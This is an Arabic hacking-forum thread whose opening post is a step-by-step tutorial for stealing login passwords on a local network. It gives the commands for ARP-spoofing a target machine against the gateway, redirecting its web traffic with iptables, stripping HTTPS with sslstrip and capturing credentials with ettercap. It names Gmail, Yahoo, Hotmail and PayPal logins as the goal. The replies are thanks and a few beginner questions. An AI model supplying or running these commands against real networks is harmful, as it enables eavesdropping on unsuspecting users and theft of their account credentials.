تخطي الـhttps & http والحصول على باسووردات المستخدمين والأدمن

[MATRIX ALGERIA]

السلام عليكم ورحمة الله وبركاته
مساء الخير للجميع
درسنا اليوم عن:
1- تخطي حماية الـ HTTPS
2- كسر الباسووردات المستخدمه للدخول عبر الـ HTTP
واستخدام اداه sslstrip للتجسس على الشبكه والحصول على باسوورد الإيميل وجميع الباسووردات الأخرى التي تحتوي اثناء الدخول علىHTTPS
اولا بعد الدخول بصلاحية الروت طبق الأمر التالي

       nano / etc / etter.conf  

امسح الـ # في بداية السطرين الظاهرين بالصوره
ومن ثم احفظ الجلسه ب CTRL+x ومن ثم اضغط حرف y للحفظ

ثم طبق الأمر التالي

       echo 1 > /proc / sys/ net/ ipv4/ip_forward  

ثم اطبع

        arpspoof -i wlan0 -t 192.168.1.84 192.168.1.254  

مع العلم ان

192.168.1.8= الأ بي المستهدف داخل الشبكه
192.168.1.254 = Gateway للشبكة
ستلاحظ الأتي:



افتح سيشن جديد وصلاحيتك رووت طبق الأمر التالي

       iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000  

تحويل الترافيك الى بورت 10000
ثم
اطبع الأمر التالي

  
        sslstrip -a -k -f  

حين ووصول البيانات ستلاحظ ظهور المعلومات التاليه في هذه الجلسه

واترك السيشن وافتح سيشن جديده واطبع التالي

         ettercap -T -q -i wlan0  

ملاحظه تستطيع استبدال wlan0 بـ eth0 على حسب الانترفيس تبعك

الأن باقي ننتظر المحترم يفتح الايميل سواء جي ميل او ياهو او هوت ميل او باي بال او اي موقع يطلب اليوزر والباسوورد والـ HTTPS

انتهى

[aramaram]

شكرا لك اخي

وولكن هذا بي ميتاسبلوت عملتها؟؟

[MATRIX ALGERIA]

كسر الباسووردات المستخدمه للدخول عبر الـ HTTP
 اداه sslstrip

ok men...

[smixmimi]

موفق بإذن الله ... لك مني أجمل تحية .

[MOON14]

شكرا لك إخي بس ياريت تنزل شرح فديو لها مفصل
ربي يعطيك العافية بالتوفيق

[شدن حرب]

الف شكر لك والله يعطيك العافية

[شدن حرب]

لكن عندي سؤال ............ ماهو الروت ؟

[Governmen7]

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية . موفق بإذن الله ... لك مني أجمل تحية .

[KaLa$nikoV]

مكان الموضووع قسم اختراق المواقع


ينقل

[ManiMan43]

شكرا و بارك الله فيك لك مني اجمل تحية